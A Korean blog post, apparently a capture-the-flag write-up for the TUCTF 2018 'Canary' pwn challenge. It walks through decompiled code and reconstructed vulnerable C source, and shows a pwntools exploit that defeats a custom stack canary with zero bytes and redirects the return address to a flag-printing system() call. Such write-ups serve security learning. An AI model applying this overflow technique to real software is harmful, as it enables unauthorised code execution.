제리의 블로그

TUCTF 2018 PWN Canary 본문

CTF/pwnable

TUCTF 2018 PWN Canary

j3rrry 2018. 11. 26. 22:52

TUCTF 2018 PWN Canary


요약

이번 문제는

전역변수가 0 으로 초기화 된다는 점을 이용하여 

canary 를 0 으로 맞추고


RET address 를 코드영역의 system("/bin/cat ./flag"); 로 돌리면 되는 문제이다.



checkCanary() 함수를 보면

*(_DWORD *)(a1 + 40) 과 cans[*(_DWORD *)(a1 + 44)] 가 같은지 다른지에 따라 stack smash check 를 한다.

a1 의 구역은 스택의 영역이고 cans 의 영역은 전역변수의 영역(.bss) 이다.

전역변수 cans[0] 에는 "/dev/urandom" 값이 저장되어 예측이 불가능하다.

그런데 cans 는 배열이므로 cans[1] 이상은 아직 0 으로 초기화되어있는 상태이다.

따라서 스택엔 직접 0 을 삽입하고 cans[] 는 index 1 이상을 가리키도록 하면

서로 0 이므로 canary 값이 같아진다.


다행이 입력 버퍼를 받는 함수가 read 이므로

NULL 을 포함한 페이로드 입력이 가능하다.




$ file *
canary:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9b48c0ff2f3207562359b54cb199bae1583f918c, not stripped
flag:     ASCII text
password: ASCII text


    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)


$ ./canary
*slides open window*
Password? j3rrry
Yeah right! Scram
일단 실행시켜보았다.
Password 를 입력받고 다르면 "Yeah right! Scram" 을 출력한다.




int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s2; // [sp+0h] [bp-34h]@1
  int fd; // [sp+30h] [bp-4h]@1

  setvbuf(stdout, 0, 2, 0x14u);
  setvbuf(stdin, 0, 2, 0x14u);
  devrand = open("/dev/urandom", 0);
  password = malloc(0x20u);
  printf("*slides open window*\nPassword? ");
  doCanary(&s2);
  fd = open("./password", 0);
  read(fd, password, 0x21u);
  checkPass(password, &s2);
  return 0;
}





int __cdecl doCanary(void *buf)
{
  initCanary(buf);
  read(0, buf, 0x1A4u);
  return checkCanary(buf);
}





int __cdecl initCanary(void *s)
{
  memset(s, 0, 0x28u);
  read(devrand, (char *)s + 40, 4u);
  *((_DWORD *)s + 11) = nextind;
  cans[nextind] = *((_DWORD *)s + 10);
  return nextind++ + 1;
}





int __cdecl checkCanary(int a1)
{
  int result; // eax@1

  result = *(_DWORD *)(a1 + 40);
  if ( result != cans[*(_DWORD *)(a1 + 44)] )
  {
    puts("---------------------- HEY NO STACK SMASHING! --------------------");
    exit(1);
  }
  return result;
}





int __cdecl checkPass(void *s1, void *s2)
{
  int result; // eax@2

  if ( !memcmp(s1, s2, 0x20u) )
  {
    puts("*unlocks door*\nYou're cool, c'mon in");
    result = system("/bin/cat ./flag");
  }
  else
  {
    result = puts("Yeah right! Scram");
  }
  return result;
}

 




from pwn import *

r = process('./canary')
payload = ''
payload += '\0' * 0x2C
payload += p32(1)           # cans[1]
payload += p32(0x080486C4) * 3
r.sendline(payload)
r.interactive()
chechCanary() 를 보면
cans[*(_DWORD *)(a1 + 44)] 와 비교하는 부분을 넘기기 위해서는

전역변수 영역은 0 으로 초기화 되어있음을 이용하면 된다.

cans[0] 은 /dev/urandom 값으로 알 수 없지만
cans[1] 부터는 0 으로 초기화 되어있다.

그렇기 때문에 0 으로 canary 값을 맞춰준다.


read 함수로 버퍼를 입력받기 때문에 가능한 일.




RET 를 system("/bin/cat ./flag"); 코드 영역으로 돌리면 끝.

// gcc -o canary canary.c -m32 -no-pie -fno-pic -mpreferred-stack-boundary=2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

int nextind, devrand;
char *password;
int cans[2];

void initCanary(char *s)
{
  memset(s, 0, 0x28u);
  read(devrand, s + 0x28, 4u);
  *((unsigned int *)s + 11) = nextind;
  cans[nextind] = *((unsigned int *)s + 10);
  nextind++;
}

void checkCanary(int *a1)
{
  if ( *(unsigned int *)(a1 + 10) != cans[*(unsigned int *)(a1 + 11)] )
  {
    puts("---------------------- HEY NO STACK SMASHING! --------------------");
    exit(1);
  }
}

void checkPass(char *s1, char *s2)
{

  if ( !memcmp(s1, s2, 0x20u) )
  {
    puts("*unlocks door*\nYou're cool, c'mon in");
    system("/bin/cat ./flag");
  }
  else
  {
    puts("Yeah right! Scram");
  }
}

void doCanary(char *buf)
{
  initCanary(buf);
  read(0, buf, 0x1A4u);
  checkCanary((int *)buf);
}

void main(int argc, const char **argv, const char **envp)
{
  char s2[0x30]; // [sp+0h] [bp-34h]@1
  int fd; // [sp+30h] [bp-4h]@1

  setvbuf(stdout, 0, 2, 0x14u);
  setvbuf(stdin, 0, 2, 0x14u);
  devrand = open("/dev/urandom", 0);
  password = malloc(0x20u);
  printf("*slides open window*\nPassword? ");
  doCanary(s2);
  fd = open("./password", 0);
  read(fd, password, 0x21u);
  checkPass(password, s2);
}


'CTF > pwnable' 카테고리의 다른 글

TUCTF 2018 PWN Timber  (0) 2018.11.27
TUCTF 2018 PWN shella-hard  (0) 2018.11.27
TUCTF 2018 PWN ehh  (0) 2018.11.26
TUCTF 2018 PWN shella-easy  (0) 2018.11.26
picoCTF 2018 are you root? Binary Exploit  (0) 2018.11.02
Comments